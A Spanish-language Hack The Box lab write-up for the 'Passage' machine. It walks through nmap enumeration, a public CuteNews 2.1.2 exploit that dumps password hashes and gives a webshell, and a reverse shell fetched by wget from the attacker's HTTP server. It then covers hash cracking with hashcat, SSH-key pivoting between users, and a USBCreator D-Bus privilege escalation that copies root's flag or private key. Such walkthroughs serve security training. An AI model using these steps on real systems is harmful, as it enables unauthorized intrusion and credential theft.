HTB - Passage
|
Enumeración
Al usar nmap utilizando nmap -sCV -A 10.10.10.206 solo encontramos que está abierto el 80 (web).
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-17 23:49 -03
Nmap scan report for passage.htb (10.10.10.206)
Host is up (0.22s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
| 256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_ 256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 993/tcp)
HOP RTT ADDRESS
1 228.04 ms 10.10.14.1
2 228.12 ms passage.htb (10.10.10.206)
OS and Service detection performed. Please report any incorrect
results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.98 seconds
Nos damos cuenta que solo está abierto el puerto 80 por lo que empezamos a revisar la pagina, y nos percatamos que es un CuteNews con versión 2.1.2, el cual es gestor de noticias/sistema de publicación blog, creado por el equipo de desarrolladores de CutePHP.
Esta versión en particular posee una exploid escrito en python que permite obtener privilegios básicos.
1° Shell
Ejecutamos nuestro script encontrado en exploid-db y obtenermos
[->] Usage python3 expoit.py
Enter the URL> http://10.10.10.206
================================================================
Users SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN
================================================================
7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
================================================================
=============================
Registering a users
=============================
[+] Registration successful with username: hKjUyJw643 andpassword: hKjUyJw643
=======================================================
Sending Payload
=======================================================
signature_key: 988ee4f0201d4c681811c25628f9aeec-hKjUyJw643
signature_dsi: 73fcc7f25ad2b8bcdd2150941bfea878
logged in user: hKjUyJw643
============================
Dropping to a SHELL
============================
command > whoami
www-data
En caso de que querer una shell con opciones, simplemente subimos una shell-reverse para ejecutarla desde el navegador. Para ello ejecutamos python -m SimpleHTTPServer en nuestra terminal y desde la maquina victima bajamos el archivo de la shell revers con wget <URL/ARCHIVO.php>, como esta segunda terminal es mejor que la anterior pero igual básica se puede mejorar con el comando python -c “import pty;pty.spawn(‘/bin/bash’)” luego apretamos Ctrl+Z, que nos devuelve a nuestra terminal, escribimos stty raw -echo con la terminal no trabajando bien escribimos fg y apretamos enter (esto último lo hacemos dos veces) para volver a la terminal de la máquina victima pero mejorada, para finalizar escribimos export TERM=xterm
Shell Usuario 1
Una vez obtenida la shell inicial, empezamos a buscar información y nos encontramos que existen dos usuarion paul y nadav
Como no se puede acceder a ni una carpeta de usuario empezamos a revisar los codigos fuentes de CuteNews empezando a leer los archivos nos percatamos que en /var/www/html/CuteNews/cdata/users/line hay datos cifrado en base64, al revisar cada dato nos da la pass de paul y nadav en sha256.
Usando hashcat y el diccionario wordlist obtenemos el pass de paul con el script hashcat -m 1400 -a 0 paul.hash /usr/share/wordlists/rockyou.txt obtenemos que el password de paul es atlanta1.
Solo nos queda obtener sus permisos con su paul y escribir el pass.
Shell Usuario 2
Con el usuario paul, revisamos sus archivos y nos damos cuenta que tiene el archivo user.txt con la flag de usuario.
Además en la carpeta .ssh está los id_rsa que podemos utilizar para abrir un ssh desde nuestra terminal al usuario paul, para ello descargamos el id_rsa a nuestro equipo y le damos privilegio 600 para poder ejecutarlos.
Seguimos revisando la carpeta .ssh y nos percatamos que pual se puede conectar con shh a nadav por lo que ejecutamos ssh nadav@localhost y obtenemos la shell de nadav.
paul@passage:~$ ssh nadav@localhost
Last login: Sun Jan 17 17:25:13 2021 from 10.10.14.187
nadav@passage:~$
De igual manera que con el id_rsa de paul se puede obtener el ssh de nadav y poder conectarnos a futuro con este usuario.
Root Shell
Empezamos a enumerar puertos y procesos dentro de la maquina, si bien hay un puerto que esta corriendo en localhost (puerto 631) esto es un distractor, por lo que nos quedamos con los procesos que está corriendo y nos llama la atención un proceso que se ejecuta en python con privilegios de root.
root 3313 0.0 0.4 235544 19956 ? Sl 17:45
0:00 /usr/bin/python3 /usr/share/usb-creator/usb-creator-helper
Al revisar este archivo podemos darnos cuenta que tiene privilegios de root pero puede ser ejecutados por cualquier usuario.
Leyendo en https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-inubuntu-desktop/ nos explica que se puede ejecutar una escalada de privilegio con el comando por lo que solo debemos escribir gdbus call –system –dest com.ubuntu.USBCreator –object-path /com/ubuntu/USBCreator –method com.ubuntu.USBCreator.Image y pasar root/root.txt a home/nadav/root.txt de la siguiente manera gdbus call –system –dest com.ubuntu.USBCreator –object-path /com/ubuntu/USBCreator – method com.ubuntu.USBCreator.Image /root/root.txt /home/nadav/root.txt true
Para finalizar solo debemos leer el archivo y obtener la flag, si se quiere obtener la shell en ves de obtener el archivo root.txt hay que pasar el archivo root/.ssh/id_rsa y realizar los mismo pasos que con los id_rsa anteriores.